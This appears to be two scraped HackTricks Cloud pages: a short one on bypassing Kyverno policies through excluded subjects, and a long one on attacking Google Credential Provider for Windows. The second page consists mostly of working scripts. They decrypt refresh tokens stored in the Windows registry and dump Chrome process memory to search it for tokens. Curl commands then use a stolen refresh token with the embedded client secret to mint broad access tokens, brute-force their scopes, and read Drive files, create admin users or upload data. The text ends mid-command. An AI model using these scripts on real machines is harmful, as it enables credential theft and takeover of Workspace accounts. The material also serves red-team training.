the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Kubernetes Kyverno bypass - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute **The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) Having an overview may help to know which rules are active, on which mode and who can bypass it bash $ kubectl get clusterpolicies $ kubectl get policies For each ClusterPolicy and Policy, you can specify a list of excluded entities, including: * Groups: `excludedGroups` * Users: `excludedUsers` * Service Accounts (SA): `excludedServiceAccounts` * Roles: `excludedRoles` * Cluster Roles: `excludedClusterRoles` These excluded entities will be exempt from the policy requirements, and Kyverno will not enforce the policy for them. Let's dig into one clusterpolicy example : $ kubectl get clusterpolicies MYPOLICY -o yaml Look for the excluded entities : yaml exclude: any: - clusterRoles: - cluster-admin - subjects: - kind: User name: system:serviceaccount:DUMMYNAMESPACE:admin - kind: User name: system:serviceaccount:TEST:thisisatest - kind: User name: system:serviceaccount:AHAH:* Within a cluster, numerous added components, operators, and applications may necessitate exclusion from a cluster policy. However, this can be exploited by targeting privileged entities. In some cases, it may appear that a namespace does not exist or that you lack permission to impersonate a user, which can be a sign of misconfiguration. Another way to bypass policies is to focus on the ValidatingWebhookConfiguration resource : [Kubernetes ValidatingWebhookConfiguration](../kubernetes-validatingwebhookconfiguration.html) --- # GCPW - Google Credential Provider for Windows - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 22 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store tokens to access Google Workspace in some places in the PC. tip Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**. When a user access a Windows PC synchronized with Google Workspace via GCPW it will need to complete a common login form. This login form will return an OAuth code that the PC will exchange for the refresh token in a request like: http POST /oauth2/v4/token HTTP/2 Host: www.googleapis.com Content-Length: 311 Content-Type: application/x-www-form-urlencoded [...headers...] scope=https://www.google.com/accounts/OAuthLogin &grant_type=authorization_code &client_id=77185425430.apps.googleusercontent.com &client_secret=OTJgUOQcT7lO7GsGZq2G4IlT &code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw &device_id=d5c82f70-71ff-48e8-94db-312e64c7354f &device_type=chrome New lines have been added to make it more readable. note It was possible to perform a MitM by installing `Proxifier` in the PC, overwriting the `utilman.exe` binary with a `cmd.exe` and executing the **accessibility features** in the Windows login page, which will execute a **CMD** from which you can **launch and configure the Proxifier**. Don't forget to **block QUICK UDP** traffic in `Proxifier` so it downgrades to TCP communication and you can see it. Also configure in "Serviced and other users" both options and install the Burp CA cert in the Windows. Moreover adding the keys `enable_verbose_logging = 1` and `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** it's possible to make it store some logs. It's possible to check if GCPW is installed in a device checking if the following process exist or if the following registry keys exist: bash # Check process gcpw_extension.exe if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) { Write-Output "The process gcpw_xtension.exe is running." } else { Write-Output "The process gcpw_xtension.exe is not running." } # Check if HKLM\SOFTWARE\Google\GCPW\Users exists $gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users" if (Test-Path $gcpwHKLMPath) { Write-Output "GCPW is installed: The key $gcpwHKLMPath exists." } else { Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist." } # Check if HKCU\SOFTWARE\Google\Accounts exists $gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts" if (Test-Path $gcpwHKCUPath) { Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists." } else { Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist." } In **`HKCU:\SOFTWARE\Google\Accounts`** it's possible to access the email of the user and the encrypted **refresh token** if the user recently logged in. In **`HKLM:\SOFTWARE\Google\GCPW\Users`** it's possible to find the **domains** that are allowed to login in the key `domains_allowed` and in subkeys it's possible to find information about the user like email, pic, user name, token lifetimes, token handle... note The token handle is a token that starts with `eth.` and from which can be extracted some info with a request like: curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \ -d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg' # Example response { "audience": "77185425430.apps.googleusercontent.com", "scope": "https://www.google.com/accounts/OAuthLogin", "expires_in": 12880152 } Also it's possible to find the token handle of an access token with a request like: curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \ -d 'access_token=' # Example response { "issued_to": "77185425430.apps.googleusercontent.com", "audience": "77185425430.apps.googleusercontent.com", "scope": "https://www.google.com/accounts/OAuthLogin", "expires_in": 1327, "access_type": "offline", "token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg" } Afaik it's not possible obtain a refresh token or access token from the token handle. Moreover, the file **`C:\ProgramData\Google\Credential Provider\Policies\\PolicyFetchResponse`** is a json containing the information of different **settings** like `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (if several users from Workspace can login in the computer) and `validityPeriodDays` (number of days a user doesn't need to reauthenticate with Google directly). Inside the registry **`HKCU:\SOFTWARE\Google\Accounts`** it might be possible to find some accounts with the **`refresh_token`** encrypted inside. The method **`ProtectedData.Unprotect`** can easily decrypt it. Get **`HKCU:\SOFTWARE\Google\Accounts`** data and decrypt refresh\_tokens bash # Import required namespace for decryption Add-Type -AssemblyName System.Security # Base registry path $baseKey = "HKCU:\SOFTWARE\Google\Accounts" # Function to search and decrypt refresh_token values function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath ) # Get all values within the current key $registryKey = Get-Item -Path $keyPath $foundToken = $false # Loop through properties to find refresh_token foreach ($property in $registryKey.Property) { if ($property -eq "refresh_token") { $foundToken = $true try { # Get the raw bytes of the refresh_token from the registry $encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property # Decrypt the bytes using ProtectedData.Unprotect $decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes) Write-Output "Path: $keyPath" Write-Output "Decrypted refresh_token: $decryptedToken" Write-Output "-----------------------------" } catch { Write-Output "Path: $keyPath" Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)" Write-Output "-----------------------------" } } } # Recursively process all subkeys Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } } # Start the search from the base key Get-RegistryKeysAndDecryptTokens -keyPath $baseKey Example out: Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI As explained in [**this video**](https://www.youtube.com/watch?v=FEQxHRRP_5I) , if you don't find the token in the registry it's possible to modify the value (or delete) from **`HKLM:\SOFTWARE\Google\GCPW\Users\\th`** and the next time the user access the computer he will need to login again and the **token will be stored in the previous registry**. The file **`%LocalAppData%\Google\Chrome\User Data\Local State`** stores the key to decrypt the **`refresh_tokens`** located inside the **Google Chrome profiles** of the user like: * `%LocalAppData%\Google\Chrome\User Data\Default\Web Data` * `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data` It's possible to find some **C# code** accessing these tokens in their decrypted manner in [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) . Moreover, the encrypting can be found in this code: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216) It can be observed that AESGCM is used, the encrypted token starts with a **version** (**`v10`** at this time), then it [**has 12B of nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42) , and then it has the **cypher-text** with a final **mac of 16B**. The following script can be used to **dump** every **Chrome** process using `procdump`, extract the **strings** and then **search** for strings related to **access and refresh tokens**. If Chrome is connected to some Google site, some **process will be storing refresh and/or access tokens in memory!** Dump Chrome processes and search tokens bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" $dumpFolder = "C:\Users\Public\dumps" # Regular expressions for tokens $tokenRegexes = @( "ya29\.[a-zA-Z0-9_\.\-]{50,}", "1//[a-zA-Z0-9_\.\-]{50,}" ) # Create a directory for the dumps if it doesn't exist if (!(Test-Path $dumpFolder)) { New-Item -Path $dumpFolder -ItemType Directory } # Get all Chrome process IDs $chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id # Dump each Chrome process foreach ($processId in $chromeProcesses) { Write-Output "Dumping process with PID: $processId" & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp" } # Extract strings and search for tokens in each dump Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object { $dumpFile = $_.FullName $baseName = $_.BaseName $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt" $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt" Write-Output "Extracting strings from $dumpFile" & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile & $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile $outputFiles = @($asciiStringsFile, $unicodeStringsFile) foreach ($file in $outputFiles) { foreach ($regex in $tokenRegexes) { $matches = Select-String -Path $file -Pattern $regex -AllMatches $uniqueMatches = @{} foreach ($matchInfo in $matches) { foreach ($match in $matchInfo.Matches) { $matchValue = $match.Value if (-not $uniqueMatches.ContainsKey($matchValue)) { $uniqueMatches[$matchValue] = @{ LineNumber = $matchInfo.LineNumber LineText = $matchInfo.Line.Trim() FilePath = $matchInfo.Path } } } } foreach ($matchValue in $uniqueMatches.Keys) { $info = $uniqueMatches[$matchValue] Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" } } Write-Output "" } } Remove-Item -Path $dumpFolder -Recurse -Force I tried the same with `gcpw_extension.exe` but it didn't find any token. For some reason, s**ome extracted access tokens won't be valid (although some will be)**. I tried the following script to remove chars 1 by 1 to try to get the valid token from the dump. It never helped me to find a valid one, but it might I guess: Check access token by removing chars 1 by 1 bash #!/bin/bash # Define the initial access token access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277" # Define the URL for the request url="https://www.googleapis.com/oauth2/v1/tokeninfo" # Loop until the token is 20 characters or the response doesn't contain "error_description" while [ ${#access_token} -gt 20 ]; do # Make the request and capture the response response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url) # Check if the response contains "error_description" if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi # Remove the last character from the token access_token=${access_token:0:-1} echo "Token length: ${#access_token}" done echo "Error: Token invalid or too short" Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command: bash curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ https://www.googleapis.com/oauth2/v4/token note Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**. Also, the refresh token is not valid in every application. By default GCPW won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`: Bash script to brute-force scopes bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi done echo "" echo "" echo "Valid scopes:" cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt And this is the output I got at the time of the writing: Brute-forced scopes https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile Moreover, checking the Chromium source code it's possible to [**find this file**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24) , which contains **other scopes** that can be assumed that **doesn't appear in the previously brute-forced lis**t. Therefore, these extra scopes can be assumed: Extra scopes https://www.google.com/accounts/OAuthLogin https://www.googleapis.com/auth/account.capabilities https://www.googleapis.com/auth/accounts.programmaticchallenge https://www.googleapis.com/auth/accounts.reauth https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/aida https://www.googleapis.com/auth/aidahttps://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/android_checkin https://www.googleapis.com/auth/any-api https://www.googleapis.com/auth/assistant-sdk-prototype https://www.googleapis.com/auth/auditrecording-pa https://www.googleapis.com/auth/bce.secureconnect https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/cast.backdrop https://www.googleapis.com/auth/cclog https://www.googleapis.com/auth/chrome-model-execution https://www.googleapis.com/auth/chrome-optimization-guide https://www.googleapis.com/auth/chrome-safe-browsing https://www.googleapis.com/auth/chromekanonymity https://www.googleapis.com/auth/chromeosdevicemanagement https://www.googleapis.com/auth/chromesync https://www.googleapis.com/auth/chromewebstore.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/cryptauth https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/experimentsandconfigs https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/gcm https://www.googleapis.com/auth/googlenow https://www.googleapis.com/auth/googletalk https://www.googleapis.com/auth/identity.passwords.leak.check https://www.googleapis.com/auth/ip-protection https://www.googleapis.com/auth/kid.family.readonly https://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/kid.permission https://www.googleapis.com/auth/kids.parentapproval https://www.googleapis.com/auth/kids.supervision.setup.child https://www.googleapis.com/auth/lens https://www.googleapis.com/auth/music https://www.googleapis.com/auth/nearbydevices-pa https://www.googleapis.com/auth/nearbypresence-pa https://www.googleapis.com/auth/nearbysharing-pa https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/peopleapi.readwrite https://www.googleapis.com/auth/photos https://www.googleapis.com/auth/photos.firstparty.readonly https://www.googleapis.com/auth/photos.image.readonly https://www.googleapis.com/auth/profile.language.read https://www.googleapis.com/auth/secureidentity.action https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/supportcontent https://www.googleapis.com/auth/tachyon https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/wallet.chrome Note that the most interesting one is possibly: c // OAuth2 scope for access to all Google APIs. const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api"; However, I tried to use this scope to access gmail or list groups and it didn't work, so I don't know how useful it still is. **Get an access token with all those scopes**: Bash script to generate access token from refresh\_token with all the scopes bash export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.google.com/accounts/OAuthLogin https://www.googleapis.com/auth/account.capabilities https://www.googleapis.com/auth/accounts.programmaticchallenge https://www.googleapis.com/auth/accounts.reauth https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/aida https://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/android_checkin https://www.googleapis.com/auth/any-api https://www.googleapis.com/auth/assistant-sdk-prototype https://www.googleapis.com/auth/auditrecording-pa https://www.googleapis.com/auth/bce.secureconnect https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/cast.backdrop https://www.googleapis.com/auth/cclog https://www.googleapis.com/auth/chrome-model-execution https://www.googleapis.com/auth/chrome-optimization-guide https://www.googleapis.com/auth/chrome-safe-browsing https://www.googleapis.com/auth/chromekanonymity https://www.googleapis.com/auth/chromeosdevicemanagement https://www.googleapis.com/auth/chromesync https://www.googleapis.com/auth/chromewebstore.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/cryptauth https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/experimentsandconfigs https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/gcm https://www.googleapis.com/auth/googlenow https://www.googleapis.com/auth/googletalk https://www.googleapis.com/auth/identity.passwords.leak.check https://www.googleapis.com/auth/ip-protection https://www.googleapis.com/auth/kid.family.readonly https://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/kid.permission https://www.googleapis.com/auth/kids.parentapproval https://www.googleapis.com/auth/kids.supervision.setup.child https://www.googleapis.com/auth/lens https://www.googleapis.com/auth/music https://www.googleapis.com/auth/nearbydevices-pa https://www.googleapis.com/auth/nearbypresence-pa https://www.googleapis.com/auth/nearbysharing-pa https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/peopleapi.readwrite https://www.googleapis.com/auth/photos https://www.googleapis.com/auth/photos.firstparty.readonly https://www.googleapis.com/auth/photos.image.readonly https://www.googleapis.com/auth/profile.language.read https://www.googleapis.com/auth/secureidentity.action https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/supportcontent https://www.googleapis.com/auth/tachyon https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/wallet.chrome" | tr '\n' ' ') curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token Some examples using some of those scopes: https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile bash curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/oauth2/v2/userinfo" { "id": "100203736939176354570", "email": "hacktricks@example.com", "verified_email": true, "name": "John Smith", "given_name": "John", "family_name": "Smith", "picture": "https://lh3.googleusercontent.com/a/ACg8ocKLvue[REDACTED]wcnzhyKH_p96Gww=s96-c", "locale": "en", "hd": "example.com" } https://www.googleapis.com/auth/admin.directory.user bash # List users curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/admin/directory/v1/users?customer=&maxResults=100&orderBy=email" # Create user curl -X POST \ -H "Authorization: Bearer $access_token" \ -H "Content-Type: application/json" \ -d '{ "primaryEmail": "newuser@hdomain.com", "name": { "givenName": "New", "familyName": "User" }, "password": "UserPassword123", "changePasswordAtNextLogin": true }' \ "https://www.googleapis.com/admin/directory/v1/users" https://www.googleapis.com/auth/drive bash # List files curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/drive/v3/files?pageSize=10&fields=files(id,name,modifiedTime)&orderBy=name" { "files": [\ {\ "id": "1Z8m5ALSiHtewoQg1LB8uS9gAIeNOPBrq",\ "name": "Veeam new vendor form 1 2024.docx",\ "modifiedTime": "2024-08-30T09:25:35.219Z"\ }\ ] } # Download file curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/drive/v3/files/?alt=media" \ -o "DownloadedFileName.ext" # Upload file curl -X POST \ -H "Authorization: Bearer $access_token" \ -H "Content-Type: application/octet-stream" \ --data-binary @path/to/file.ext \ "https://www.googleapis.com/upload/drive/v3/files?uploadType=media" https://www.googleapis.com/auth/devstorage.read\_write bash # List buckets from a project curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/storage/v1/b?project=" # List objects in a bucket curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/storage/v1/b//o?maxResults=10&fields=items(id,name,size,updated)&orderBy=name" # Upload file to bucket curl -X POST \ -H "Authorization: Bearer $access_token" \ -H "Content-Type: application/octet-stream" \ --data-binary @path/to/yourfile.ext \ "https://www.googleapis.com/upload/storage/v1/b//o?uploadType=media&name=" # Download file from bucket curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/storage/v1/b/BUCKET_NAME/o/OBJECT_NAME?alt=media" \ -o "DownloadedFileName.ext" https://www.googleapis.com/auth/spreadsheets bash # List spreadsheets curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/drive/v3/files?q=mimeType='application/vnd.google-apps.spreadsheet'&fields=files(id,name,modifiedTime)&pageSize=100" # Download as pdf curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/drive/v3/files/106VJxeyIsVTkixutwJM1IiJZ0ZQRMiA5mhfe8C5CxMc/export?mimeType=application/pdf" \ -o "Spreadsheet.pdf" # Create spreadsheet curl -X POST \ -H "Authorization: Bearer $access_token" \ -H "Content-Type: application/json" \ -d '{ "properties": { "title": "New Spreadsheet" } }' \ "https://sheets.googleapis.com/v4/spreadsheets" # Read data from a spreadsheet curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://sheets.googleapis.com/v4/spreadsheets//values/Sheet1!A1:C10" # Update data in spreadsheet curl -X PUT \ -H "Authorization: Bearer $access_token" \ -H "Content-Type: application/json" \ -d '{ "range": "Sheet1!A2:C2", "majorDimension": "ROWS", "values": [\ ["Alice Johnson", "28", "alice.johnson@example.com"]\ ] }' \ "https://sheets.googleapis.com/v4/spreadsheets//values/Sheet1!A2:C2?valueInputOption=USER_ENTERED" # Append data curl -X POST \ -H "Authorization: Bearer $access_token" \ -H "Content-Type: application/json" \ -d '{ "values": [\ ["Bob Williams", "35", "bob.williams@example.com"]\ ] }' \ 